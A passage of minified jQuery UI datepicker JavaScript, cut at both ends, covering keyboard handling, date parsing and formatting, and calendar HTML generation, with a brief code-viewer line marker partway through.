i,s,n=t(e),o=t.data(e,"datepicker");n.hasClass(this.markerClassName)&&(i=e.nodeName.toLowerCase(),"input"===i?(e.disabled=!1,o.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):("div"===i||"span"===i)&&(s=n.children("."+this._inlineClass),s.children().removeClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=t.map(this._disabledInputs,function(t){return t===e?null:t}))},_disableDatepicker:function(e){var i,s,n=t(e),o=t.data(e,"datepicker");n.hasClass(this.markerClassName)&&(i=e.nodeName.toLowerCase(),"input"===i?(e.disabled=!0,o.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):("div"===i||"span"===i)&&(s=n.children("."+this._inlineClass),s.children().addClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=t.map(this._disabledInputs,function(t){return t===e?null:t}),this._disabledInputs[this._disabledInputs.length]=e)},_isDisabledDatepicker:function(t){if(!t)return!1;for(var e=0;this._disabledInputs.length>e;e++)if(this._disabledInputs[e]===t)return!0;return!1},_getInst:function(e){try{return t.data(e,"datepicker")}catch(i){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(e,i,s){var n,o,r,h,l=this._getInst(e);return 2===arguments.length&&"string"==typeof i?"defaults"===i?t.extend({},t.datepicker._defaults):l?"all"===i?t.extend({},l.settings):this._get(l,i):null:(n=i||{},"string"==typeof i&&(n={},n[i]=s),l&&(this._curInst===l&&this._hideDatepicker(),o=this._getDateDatepicker(e,!0),r=this._getMinMaxDate(l,"min"),h=this._getMinMaxDate(l,"max"),a(l.settings,n),null!==r&&void 0!==n.dateFormat&&void 0===n.minDate&&(l.settings.minDate=this._formatDate(l,r)),null!==h&&void 0!==n.dateFormat&&void 0===n.maxDate&&(l.settings.maxDate=this._formatDate(l,h)),"disabled"in n&&(n.disabled?this._disableDatepicker(e):this._enableDatepicker(e)),this._attachments(t(e),l),this._autoSize(l),this._setDate(l,o),this._updateAlternate(l),this._updateDatepicker(l)),void 0)},_changeDatepicker:function(t,e,i){this._optionDatepicker(t,e,i)},_refreshDatepicker:function(t){var e=this._getInst(t);e&&this._updateDatepicker(e)},_setDateDatepicker:function(t,e){var i=this._getInst(t);i&&(this._setDate(i,e),this._updateDatepicker(i),this._updateAlternate(i))},_getDateDatepicker:function(t,e){var i=this._getInst(t);return i&&!i.inline&&this._setDateFromField(i,e),i?this._getDate(i):null},_doKeyDown:function(e){var i,s,n,o=t.datepicker._getInst(e.target),a=!0,r=o.dpDiv.is(".ui-datepicker-rtl");if(o._keyEvent=!0,t.datepicker._datepickerShowing)switch(e.keyCode){case 9:t.datepicker._hideDatepicker(),a=!1;break;case 13:return n=t("td."+t.datepicker._dayOverClass+":not(."+t.datepicker._currentClass+")",o.dpDiv),n[0]&&t.datepicker._selectDay(e.target,o.selectedMonth,o.selectedYear,n[0]),i=t.datepicker._get(o,"onSelect"),i?(s=t.datepicker._formatDate(o),i.apply(o.input?o.input[0]:null,[s,o])):t.datepicker._hideDatepicker(),!1;case 27:t.datepicker._hideDatepicker();break;case 33:t.datepicker._adjustDate(e.target,e.ctrlKey?-t.datepicker._get(o,"stepBigMonths"):-t.datepicker._get(o,"stepMonths"),"M");break;case 34:t.datepicker._adjustDate(e.target,e.ctrlKey?+t.datepicker._get(o,"stepBigMonths"):+t.datepicker._get(o,"stepMonths"),"M");break;case 35:(e.ctrlKey||e.metaKey)&&t.datepicker._clearDate(e.target),a=e.ctrlKey||e.metaKey;break;case 36:(e.ctrlKey||e.metaKey)&&t.datepicker._gotoToday(e.target),a=e.ctrlKey||e.metaKey;break;case 37:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,r?1:-1,"D"),a=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&t.datepicker._adjustDate(e.target,e.ctrlKey?-t.datepicker._get(o,"stepBigMonths"):-t.datepicker._get(o,"stepMonths"),"M");break;case 38:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,-7,"D"),a=e.ctrlKey||e.metaKey;break;case 39:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,r?-1:1,"D"),a=e.ctrlKey||e.metaKey,e.originalEvent.altKey&&t.datepicker._adjustDate(e.target,e.ctrlKey?+t.datepicker._get(o,"stepBigMonths"):+t.datepicker._get(o,"stepMonths"),"M");break;case 40:(e.ctrlKey||e.metaKey)&&t.datepicker._adjustDate(e.target,7,"D"),a=e.ctrlKey||e.metaKey;break;default:a=!1}else 36===e.keyCode&&e.ctrlKey?t.datepicker._showDatepicker(this):a=!1;a&&(e.preventDefault(),e.stopPropagation())},_doKeyPress:function(e){var i,s,n=t.datepicker._getInst(e.target);return t.datepicker._get(n,"constrainInput")?(i=t.datepicker._possibleChars(t.datepicker._get(n,"dateFormat")),s=String.fromCharCode(null==e.charCode?e.keyCode:e.charCode),e.ctrlKey||e.metaKey||" ">s||!i||i.indexOf(s)>-1):void 0},_doKeyUp:function(e){var i,s=t.datepicker._getInst(e.target);if(s.input.val()!==s.lastVal)try{i=t.datepicker.parseDate(t.datepicker._get(s,"dateFormat"),s.input?s.input.val():null,t.datepicker._getFormatConfig(s)),i&&(t.datepicker._setDateFromField(s),t.datepicker._updateAlternate(s),t.datepicker._updateDatepicker(s))}catch(n){}return!0},_showDatepicker:function(e){if(e=e.target||e,"input"!==e.nodeName.toLowerCase()&&(e=t("input",e.parentNode)[0]),!t.datepicker._isDisabledDatepicker(e)&&t.datepicker._lastInput!==e){var s,n,o,r,h,l,c;s=t.datepicker._getInst(e),t.datepicker._curInst&&t.datepicker._curInst!==s&&(t.datepicker._curInst.dpDiv.stop(!0,!0),s&&t.datepicker._datepickerShowing&&t.datepicker._hideDatepicker(t.datepicker._curInst.input[0])),n=t.datepicker._get(s,"beforeShow"),o=n?n.apply(e,[e,s]):{},o!==!1&&(a(s.settings,o),s.lastVal=null,t.datepicker._lastInput=e,t.datepicker._setDateFromField(s),t.datepicker._inDialog&&(e.value=""),t.datepicker._pos||(t.datepicker._pos=t.datepicker._findPos(e),t.datepicker._pos[1]+=e.offsetHeight),r=!1,t(e).parents().each(function(){return r|="fixed"===t(this).css("position"),!r}),h={left:t.datepicker._pos[0],top:t.datepicker._pos[1]},t.datepicker._pos=null,s.dpDiv.empty(),s.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),t.datepicker._updateDatepicker(s),h=t.datepicker._checkOffset(s,h,r),s.dpDiv.css({position:t.datepicker._inDialog&&t.blockUI?"static":r?"fixed":"absolute",display:"none",left:h.left+"px",top:h.top+"px"}),s.inline||(l=t.datepicker._get(s,"showAnim"),c=t.datepicker._get(s,"duration"),s.dpDiv.css("z-index",i(t(e))+1),t.datepicker._datepickerShowing=!0,t.effects&&t.effects.effect[l]?s.dpDiv.show(l,t.datepicker._get(s,"showOptions"),c):s.dpDiv[l||"show"](l?c:null),t.datepicker._shouldFocusInput(s)&&s.input.trigger("focus"),t.datepicker._curInst=s))
17
vendor: 32,043 bytes, line 17
17}},_updateDatepicker:function(e){this.maxRows=4,m=e,e.dpDiv.empty().append(this._generateHTML(e)),this._attachHandlers(e);var i,s=this._getNumberOfMonths(e),n=s[1],a=17,r=e.dpDiv.find("."+this._dayOverClass+" a");r.length>0&&o.apply(r.get(0)),e.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),n>1&&e.dpDiv.addClass("ui-datepicker-multi-"+n).css("width",a*n+"em"),e.dpDiv[(1!==s[0]||1!==s[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),e.dpDiv[(this._get(e,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),e===t.datepicker._curInst&&t.datepicker._datepickerShowing&&t.datepicker._shouldFocusInput(e)&&e.input.trigger("focus"),e.yearshtml&&(i=e.yearshtml,setTimeout(function(){i===e.yearshtml&&e.yearshtml&&e.dpDiv.find("select.ui-datepicker-year:first").replaceWith(e.yearshtml),i=e.yearshtml=null},0))},_shouldFocusInput:function(t){return t.input&&t.input.is(":visible")&&!t.input.is(":disabled")&&!t.input.is(":focus")},_checkOffset:function(e,i,s){var n=e.dpDiv.outerWidth(),o=e.dpDiv.outerHeight(),a=e.input?e.input.outerWidth():0,r=e.input?e.input.outerHeight():0,h=document.documentElement.clientWidth+(s?0:t(document).scrollLeft()),l=document.documentElement.clientHeight+(s?0:t(document).scrollTop());return i.left-=this._get(e,"isRTL")?n-a:0,i.left-=s&&i.left===e.input.offset().left?t(document).scrollLeft():0,i.top-=s&&i.top===e.input.offset().top+r?t(document).scrollTop():0,i.left-=Math.min(i.left,i.left+n>h&&h>n?Math.abs(i.left+n-h):0),i.top-=Math.min(i.top,i.top+o>l&&l>o?Math.abs(o+r):0),i},_findPos:function(e){for(var i,s=this._getInst(e),n=this._get(s,"isRTL");e&&("hidden"===e.type||1!==e.nodeType||t.expr.filters.hidden(e));)e=e[n?"previousSibling":"nextSibling"];return i=t(e).offset(),[i.left,i.top]},_hideDatepicker:function(e){var i,s,n,o,a=this._curInst;!a||e&&a!==t.data(e,"datepicker")||this._datepickerShowing&&(i=this._get(a,"showAnim"),s=this._get(a,"duration"),n=function(){t.datepicker._tidyDialog(a)},t.effects&&(t.effects.effect[i]||t.effects[i])?a.dpDiv.hide(i,t.datepicker._get(a,"showOptions"),s,n):a.dpDiv["slideDown"===i?"slideUp":"fadeIn"===i?"fadeOut":"hide"](i?s:null,n),i||n(),this._datepickerShowing=!1,o=this._get(a,"onClose"),o&&o.apply(a.input?a.input[0]:null,[a.input?a.input.val():"",a]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),t.blockUI&&(t.unblockUI(),t("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(t){t.dpDiv.removeClass(this._dialogClass).off(".ui-datepicker-calendar")},_checkExternalClick:function(e){if(t.datepicker._curInst){var i=t(e.target),s=t.datepicker._getInst(i[0]);(i[0].id!==t.datepicker._mainDivId&&0===i.parents("#"+t.datepicker._mainDivId).length&&!i.hasClass(t.datepicker.markerClassName)&&!i.closest("."+t.datepicker._triggerClass).length&&t.datepicker._datepickerShowing&&(!t.datepicker._inDialog||!t.blockUI)||i.hasClass(t.datepicker.markerClassName)&&t.datepicker._curInst!==s)&&t.datepicker._hideDatepicker()}},_adjustDate:function(e,i,s){var n=t(e),o=this._getInst(n[0]);this._isDisabledDatepicker(n[0])||(this._adjustInstDate(o,i+("M"===s?this._get(o,"showCurrentAtPos"):0),s),this._updateDatepicker(o))},_gotoToday:function(e){var i,s=t(e),n=this._getInst(s[0]);this._get(n,"gotoCurrent")&&n.currentDay?(n.selectedDay=n.currentDay,n.drawMonth=n.selectedMonth=n.currentMonth,n.drawYear=n.selectedYear=n.currentYear):(i=new Date,n.selectedDay=i.getDate(),n.drawMonth=n.selectedMonth=i.getMonth(),n.drawYear=n.selectedYear=i.getFullYear()),this._notifyChange(n),this._adjustDate(s)},_selectMonthYear:function(e,i,s){var n=t(e),o=this._getInst(n[0]);o["selected"+("M"===s?"Month":"Year")]=o["draw"+("M"===s?"Month":"Year")]=parseInt(i.options[i.selectedIndex].value,10),this._notifyChange(o),this._adjustDate(n)},_selectDay:function(e,i,s,n){var o,a=t(e);t(n).hasClass(this._unselectableClass)||this._isDisabledDatepicker(a[0])||(o=this._getInst(a[0]),o.selectedDay=o.currentDay=t("a",n).html(),o.selectedMonth=o.currentMonth=i,o.selectedYear=o.currentYear=s,this._selectDate(e,this._formatDate(o,o.currentDay,o.currentMonth,o.currentYear)))},_clearDate:function(e){var i=t(e);this._selectDate(i,"")},_selectDate:function(e,i){var s,n=t(e),o=this._getInst(n[0]);i=null!=i?i:this._formatDate(o),o.input&&o.input.val(i),this._updateAlternate(o),s=this._get(o,"onSelect"),s?s.apply(o.input?o.input[0]:null,[i,o]):o.input&&o.input.trigger("change"),o.inline?this._updateDatepicker(o):(this._hideDatepicker(),this._lastInput=o.input[0],"object"!=typeof o.input[0]&&o.input.trigger("focus"),this._lastInput=null)},_updateAlternate:function(e){var i,s,n,o=this._get(e,"altField");o&&(i=this._get(e,"altFormat")||this._get(e,"dateFormat"),s=this._getDate(e),n=this.formatDate(i,s,this._getFormatConfig(e)),t(o).val(n))},noWeekends:function(t){var e=t.getDay();return[e>0&&6>e,""]},iso8601Week:function(t){var e,i=new Date(t.getTime());return i.setDate(i.getDate()+4-(i.getDay()||7)),e=i.getTime(),i.setMonth(0),i.setDate(1),Math.floor(Math.round((e-i)/864e5)/7)+1},parseDate:function(e,i,s){if(null==e||null==i)throw"Invalid arguments";if(i="object"==typeof i?""+i:i+"",""===i)return null;var n,o,a,r,h=0,l=(s?s.shortYearCutoff:null)||this._defaults.shortYearCutoff,c="string"!=typeof l?l:(new Date).getFullYear()%100+parseInt(l,10),u=(s?s.dayNamesShort:null)||this._defaults.dayNamesShort,d=(s?s.dayNames:null)||this._defaults.dayNames,p=(s?s.monthNamesShort:null)||this._defaults.monthNamesShort,f=(s?s.monthNames:null)||this._defaults.monthNames,g=-1,m=-1,_=-1,v=-1,b=!1,y=function(t){var i=e.length>n+1&&e.charAt(n+1)===t;return i&&n++,i},w=function(t){var e=y(t),s="@"===t?14:"!"===t?20:"y"===t&&e?4:"o"===t?3:2,n="y"===t?s:1,o=RegExp("^\\d{"+n+","+s+"}"),a=i.substring(h).match(o);if(!a)throw"Missing number at position "+h;return h+=a[0].length,parseInt(a[0],10)},k=function(e,s,n){var o=-1,a=t.map(y(e)?n:s,function(t,e){return[[e,t]]}).sort(function(t,e){return-(t[1].length-e[1].length)});if(t.each(a,function(t,e){var s=e[1];return i.substr(h,s.length).toLowerCase()===s.toLowerCase()?(o=e[0],h+=s.length,!1):void 0}),-1!==o)return o+1;throw"Unknown name at position "+h},x=function(){if(i.charAt(h)!==e.charAt(n))throw"Unexpected literal at position "+h;h++};for(n=0;e.length>n;n++)if(b)"'"!==e.charAt(n)||y("'")?x():b=!1;else switch(e.charAt(n)){case"d":_=w("d");break;case"D":k("D",u,d);break;case"o":v=w("o");break;case"m":m=w("m");break;case"M":m=k("M",p,f);break;case"y":g=w("y");break;case"@":r=new Date(w("@")),g=r.getFullYear(),m=r.getMonth()+1,_=r.getDate();break;case"!":r=new Date((w("!")-this._ticksTo1970)/1e4),g=r.getFullYear(),m=r.getMonth()+1,_=r.getDate();break;case"'":y("'")?x():b=!0;break;default:x()}if(i.length>h&&(a=i.substr(h),!/^\s+/.test(a)))throw"Extra/unparsed characters found in date: "+a;if(-1===g?g=(new Date).getFullYear():100>g&&(g+=(new Date).getFullYear()-(new Date).getFullYear()%100+(c>=g?0:-100)),v>-1)for(m=1,_=v;;){if(o=this._getDaysInMonth(g,m-1),o>=_)break;m++,_-=o}if(r=this._daylightSavingAdjust(new Date(g,m-1,_)),r.getFullYear()!==g||r.getMonth()+1!==m||r.getDate()!==_)throw"Invalid date";return r},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:1e7*60*60*24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925)),formatDate:function(t,e,i){if(!e)return"";var s,n=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,o=(i?i.dayNames:null)||this._defaults.dayNames,a=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,r=(i?i.monthNames:null)||this._defaults.monthNames,h=function(e){var i=t.length>s+1&&t.charAt(s+1)===e;return i&&s++,i},l=function(t,e,i){var s=""+e;if(h(t))for(;i>s.length;)s="0"+s;return s},c=function(t,e,i,s){return h(t)?s[e]:i[e]},u="",d=!1;if(e)for(s=0;t.length>s;s++)if(d)"'"!==t.charAt(s)||h("'")?u+=t.charAt(s):d=!1;else switch(t.charAt(s)){case"d":u+=l("d",e.getDate(),2);break;case"D":u+=c("D",e.getDay(),n,o);break;case"o":u+=l("o",Math.round((new Date(e.getFullYear(),e.getMonth(),e.getDate()).getTime()-new Date(e.getFullYear(),0,0).getTime())/864e5),3);break;case"m":u+=l("m",e.getMonth()+1,2);break;case"M":u+=c("M",e.getMonth(),a,r);break;case"y":u+=h("y")?e.getFullYear():(10>e.getFullYear()%100?"0":"")+e.getFullYear()%100;break;case"@":u+=e.getTime();break;case"!":u+=1e4*e.getTime()+this._ticksTo1970;break;case"'":h("'")?u+="'":d=!0;break;default:u+=t.charAt(s)}return u},_possibleChars:function(t){var e,i="",s=!1,n=function(i){var s=t.length>e+1&&t.charAt(e+1)===i;return s&&e++,s};for(e=0;t.length>e;e++)if(s)"'"!==t.charAt(e)||n("'")?i+=t.charAt(e):s=!1;else switch(t.charAt(e)){case"d":case"m":case"y":case"@":i+="0123456789";break;case"D":case"M":return null;case"'":n("'")?i+="'":s=!0;break;default:i+=t.charAt(e)}return i},_get:function(t,e){return void 0!==t.settings[e]?t.settings[e]:this._defaults[e]},_setDateFromField:function(t,e){if(t.input.val()!==t.lastVal){var i=this._get(t,"dateFormat"),s=t.lastVal=t.input?t.input.val():null,n=this._getDefaultDate(t),o=n,a=this._getFormatConfig(t);try{o=this.parseDate(i,s,a)||n}catch(r){s=e?"":s}t.selectedDay=o.getDate(),t.drawMonth=t.selectedMonth=o.getMonth(),t.drawYear=t.selectedYear=o.getFullYear(),t.currentDay=s?o.getDate():0,t.currentMonth=s?o.getMonth():0,t.currentYear=s?o.getFullYear():0,this._adjustInstDate(t)}},_getDefaultDate:function(t){return this._restrictMinMax(t,this._determineDate(t,this._get(t,"defaultDate"),new Date))},_determineDate:function(e,i,s){var n=function(t){var e=new Date;return e.setDate(e.getDate()+t),e},o=function(i){try{return t.datepicker.parseDate(t.datepicker._get(e,"dateFormat"),i,t.datepicker._getFormatConfig(e))}catch(s){}for(var n=(i.toLowerCase().match(/^c/)?t.datepicker._getDate(e):null)||new Date,o=n.getFullYear(),a=n.getMonth(),r=n.getDate(),h=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,l=h.exec(i);l;){switch(l[2]||"d"){case"d":case"D":r+=parseInt(l[1],10);break;case"w":case"W":r+=7*parseInt(l[1],10);break;case"m":case"M":a+=parseInt(l[1],10),r=Math.min(r,t.datepicker._getDaysInMonth(o,a));break;case"y":case"Y":o+=parseInt(l[1],10),r=Math.min(r,t.datepicker._getDaysInMonth(o,a))}l=h.exec(i)}return new Date(o,a,r)},a=null==i||""===i?s:"string"==typeof i?o(i):"number"==typeof i?isNaN(i)?s:n(i):new Date(i.getTime());return a=a&&"Invalid Date"==""+a?s:a,a&&(a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)),this._daylightSavingAdjust(a)},_daylightSavingAdjust:function(t){return t?(t.setHours(t.getHours()>12?t.getHours()+2:0),t):null},_setDate:function(t,e,i){var s=!e,n=t.selectedMonth,o=t.selectedYear,a=this._restrictMinMax(t,this._determineDate(t,e,new Date));t.selectedDay=t.currentDay=a.getDate(),t.drawMonth=t.selectedMonth=t.currentMonth=a.getMonth(),t.drawYear=t.selectedYear=t.currentYear=a.getFullYear(),n===t.selectedMonth&&o===t.selectedYear||i||this._notifyChange(t),this._adjustInstDate(t),t.input&&t.input.val(s?"":this._formatDate(t))},_getDate:function(t){var e=!t.currentYear||t.input&&""===t.input.val()?null:this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return e},_attachHandlers:function(e){var i=this._get(e,"stepMonths"),s="#"+e.id.replace(/\\\\/g,"\\");e.dpDiv.find("[data-handler]").map(function(){var e={prev:function(){t.datepicker._adjustDate(s,-i,"M")},next:function(){t.datepicker._adjustDate(s,+i,"M")},hide:function(){t.datepicker._hideDatepicker()},today:function(){t.datepicker._gotoToday(s)},selectDay:function(){return t.datepicker._selectDay(s,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return t.datepicker._selectMonthYear(s,this,"M"),!1},selectYear:function(){return t.datepicker._selectMonthYear(s,this,"Y"),!1}};t(this).on(this.getAttribute("data-event"),e[this.getAttribute("data-handler")])})},_generateHTML:function(t){var e,i,s,n,o,a,r,h,l,c,u,d,p,f,g,m,_,v,b,y,w,k,x,C,D,I,T,P,M,S,H,z,O,A,N,W,E,F,L,R=new Date,B=this._daylightSavingAdjust(new Date(R.getFullYear(),R.getMonth(),R.getDate())),Y=this._get(t,"isRTL"),j=this._get(t,"showButtonPanel"),q=this._get(t,"hideIfNoPrevNext"),K=this._get(t,"navigationAsDateFormat"),U=this._getNumberOfMonths(t),V=this._get(t,"showCurrentAtPos"),$=this._get(t,"stepMonths"),X=1!==U[0]||1!==U[1],G=this._daylightSavingAdjust(t.currentDay?new Date(t.currentYear,t.currentMonth,t.currentDay):new Date(9999,9,9)),Q=this._getMinMaxDate(t,"min"),J=this._getMinMaxDate(t,"max"),Z=t.drawMonth-V,te=t.drawYear;if(0>Z&&(Z+=12,te--),J)for(e=this._daylightSavingAdjust(new Date(J.getFullYear(),J.getMonth()-U[0]*U[1]+1,J.getDate())),e=Q&&Q>e?Q:e;this._daylightSavingAdjust(new Date(te,Z,1))>e;)Z--,0>Z&&(Z=11,te--);for(t.drawMonth=Z,t.drawYear=te,i=this._get(t,"prevText"),i=K?this.formatDate(i,this._daylightSavingAdjust(new Date(te,Z-$,1)),this._getFormatConfig(t)):i,s=this._canAdjustMonth(t,-1,te,Z)?"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>":q?"":"<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>",n=this._get(t,"nextText"),n=K?this.formatDate(n,this._daylightSavingAdjust(new Date(te,Z+$,1)),this._getFormatConfig(t)):n,o=this._canAdjustMonth(t,1,te,Z)?"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>":q?"":"<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>",a=this._get(t,"currentText"),r=this._get(t,"gotoCurrent")&&t.currentDay?G:B,a=K?this.formatDate(a,r,this._getFormatConfig(t)):a,h=t.inline?"":"<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>"+this._get(t,"closeText")+"</button>",l=j?"<div class='ui-datepicker-buttonpane ui-widget-content'>"+(Y?h:"")+(this._isInRange(t,r)?"<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'>"+a+"</button>":"")+(Y?"":h)+"</div>":"",c=parseInt(this._get(t,"firstDay"),10),c=isNaN(c)?0:c,u=this._get(t,"showWeek"),d=this._get(t,"dayNames"),p=this._get(t,"dayNamesMin"),f=this._get(t,"monthNames"),g=this._get(t,"monthNamesShort"),m=this._get(t,"beforeShowDay"),_=this._get(t,"showOtherMonths"),v=this._get(t,"selectOtherMonths"),b=this._getDefaultDate(t),y="",k=0;U[0]>k;k++){for(x="",this.maxRows=4,C=0;U[1]>C;C++){if(D=this._daylightSavingAdjust(new Date(te,Z,t.selectedDay)),I=" ui-corner-all",T="",X){if(T+="<div class='ui-datepicker-group",U[1]>1)switch(C){case 0:T+=" ui-datepicker-group-first",I=" ui-corner-"+(Y?"right":"left");break;case U[1]-1:T+=" ui-datepicker-group-last",I=" ui-corner-"+(Y?"left":"right");break;default:T+=" ui-datepicker-group-middle",I=""}T+="'>"}for(T+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+I+"'>"+(/all|left/.test(I)&&0===k?Y?o:s:"")+(/all|right/.test(I)&&0===k?Y?s:o:"")+this._generateMonthYearHeader(t,Z,te,Q,J,k>0||C>0,f,g)+"</div><table class='ui-datepicker-calendar'><thead>"+"<tr>",P=u?"<th class='ui-datepicker-week-col'>"+this._get(t,"weekHeader")+"</th>":"",w=0;7>w;w++)M=(w+c)%7,P+="<th scope='col'"+((w+c+6)%7>=5?" class='ui-datepicker-week-end'":"")+">"+"<span title='"+d[M]+"'>"+p[M]+"</span></th>";for(T+=P+"</tr></thead><tbody>",S=this._getDaysInMonth(te,Z),te===t.selectedYear&&Z===t.selectedMonth&&(t.selectedDay=Math.min(t.selectedDay,S)),H=(this._getFirstDayOfMonth(te,Z)-c+7)%7,z=Math.ceil((H+S)/7),O=X?this.maxRows>z?this.maxRows:z:z,this.maxRows=O,A=this._daylightSavingAdjust(new Date(te,Z,1-H)),N=0;O>N;N++){for(T+="<tr>",W=u?"<td class='ui-datepicker-week-col'>"+this._get(t,"calculateWeek")(A)+"</td>":"",w=0;7>w;w++)E=m?m.apply(t.input?t.input[0]:null,[A]):[!0,""],F=A.getMonth()!==Z,L=F&&!v||!E[0]||Q&&Q>A||J&&A>J,W+="<td class='"+((w+c+6)%7>=5?" ui-datepicker-week-end":"")+(F?" ui-datepicker-other-month":"")+(A.getTime()===D.getTime()&&Z===t.selectedMonth&&t._keyEvent||b.getTime()===A.getTime()&&b.getTime()===D.getTime()?" "+this._dayOverClass:"")+(L?" "+this._unselectableClass+" ui-state-disabled":"")+(F&&!_?"":" "+E[1]+(A.getTime()===G.getTime()?" "+this._currentClass:"")+(A.getTime()===B.getTime()?" ui-datepicker-today":""))+"'"+(F&&!_||!E[2]?"":" title='"+E[2].replace(/'/g,"'")+"'")+(L?"":" data-handler='selectDay' data-event='click' data-month='"+A.getMonth()+"' data-year='"+A.getFullYear()+"'")+">"+(F&&!_?" ":L?"<span class='ui-state-default'>"+A.getDate()+"</span>":"<a class='ui-state-default"+(A.getTime()===B.getTime()?" ui-state-highlight":"")+(A.getTime()===G.getTime()?" ui-state-active":"")+(F?" ui-priority-secondary":"")+"' href='#'>"+A.getDate()+"</a>")+"</td>",A.setDate(A.getDate()+1),A=this._daylightSavingAdjust(A);T+=W+"</tr>"}Z++,Z>11&&(Z=0,te++),T+="</tbody></table>"+(X?"</div>"+(U[0]>0&&C===U[1]-1?"<div class='ui-datepicker-row-break'></div>":""):""),x+=T}y+=x}return y+=l,t._keyEvent=!1,y},_generateMonthYearHeader:function(t,e,i,s,n,o,a,r){var h,l,c,u,d,p,f,g,m=this._get(t,"changeMonth"),_=this._get(t,"changeYear"),v=this._get(t,"showMonthAfterYear"),b="<div class='ui-datepicker-title'>",y="";if(o||!m)y+="<span class='ui-datepicker-month'>"+a[e]+"</span>";else{for(h=s&&s.getFullYear()===i,l=n&&n.getFullYear()===i,y+="<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>",c=0;12>c;c++)(!h||c>=s.getMonth())&&(!l||n.getMonth()>=c)&&(y+="<option value='"+c+"'"+(c===e?" selected='selected'":"")+">"+r[c]+"</option>");y+="</select>"}if(v||(b+=y+(!o&&m&&_?"":" ")),!t.yearshtml)if(t.yearshtml="",o||!_)b+="<span class='ui-datepicker-year'>"+i+"</span>";else{for(u=this._get(t,"yearRange").split(":"),d=(new Date).getFullYear(),p=function(t){var e=t.match(/c[+\-].*/)?i+parseInt(t.substring(1),10):t.match(/[+\-].*/)?d+parseInt(t,10):parseInt(t,10);return isNaN(e)?d:e},f=p(u[0]),g=Math.max(f,p(u[1]||"")),f=s?Math.max(f,s.getFullYear()):f,g=n?Math.min(g,n.getFullYear()):g,t.yearshtml+="<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>";g>=f;f++)t.yearshtml+="<option value='"+f+"'"+(f===i?" selected='selected'":"")+">"+f+"</option>";t.yearshtml+="</select>",b+=t.yearshtml,t.yearshtml=null}return b+=this._get(t,"yearSuffix"),v&&(b+=(!o&&m&&_?"":" ")+y),b+="</div>"},_adjustInstDate:function(t,e,i){var s=t.selectedYear+("Y"===i?e:0),n=t.selectedMonth+("M"===i?e:0),o=Math.min(t.selectedDay,this._getDaysInMonth(s,n))+("D"===i?e:0),a=this._restrictMinMax(t,this._daylightSavingAdjust(new Date(s,n,o)));t.selectedDay=a.getDate(),t.drawMonth=t.selectedMonth=a.getMonth(),t.drawYear=t.selectedYear=a.getFullYear(),("M"===i||"Y"===i)&&this._notifyChange(t)},_restrictMinMax:function(t,e){var i=this._getMinMaxDate(t,"min"),s=this._getMinMaxDate(t,"max"),n=i&&i>e?i:e;return s&&n>s?s:n},_notifyChange:function(t){var e=this._get(t,"onChangeMonthYear");e&&e.apply(t.input?t.input[0]:null,[t.selectedYear,t.selectedMonth+1,t])},_getNumberOfMonths:function(t){var e=this._get(t,"numberOfMonths");return null==e?[1,1]:"number"==typeof e?[1,e]:e},_getMinMaxDate:function(t,e){return this._determineDate(t,this._get(t,e+"Date"),null)},_getDaysInMonth:function(t,e){return 32-this._daylightSavingAdjust(new Date(t,e,32)).getDate()},_getFirstDayOfMonth:function(t,e){return new Date(t,e,1).getDay()},_canAdjustMonth:function(t,e,i,s){var n=this._getNumberOfMonths(t),o=this._daylightSavingAdjust(new Date(i,s+(0>e?e:n[0]*n[1]),1));return 0>e&&o.setDate(this._getDaysInMonth(o.getFullYear(),o.getMonth())),this._isInRange(t,o)},_isInRange:function(t,e){var 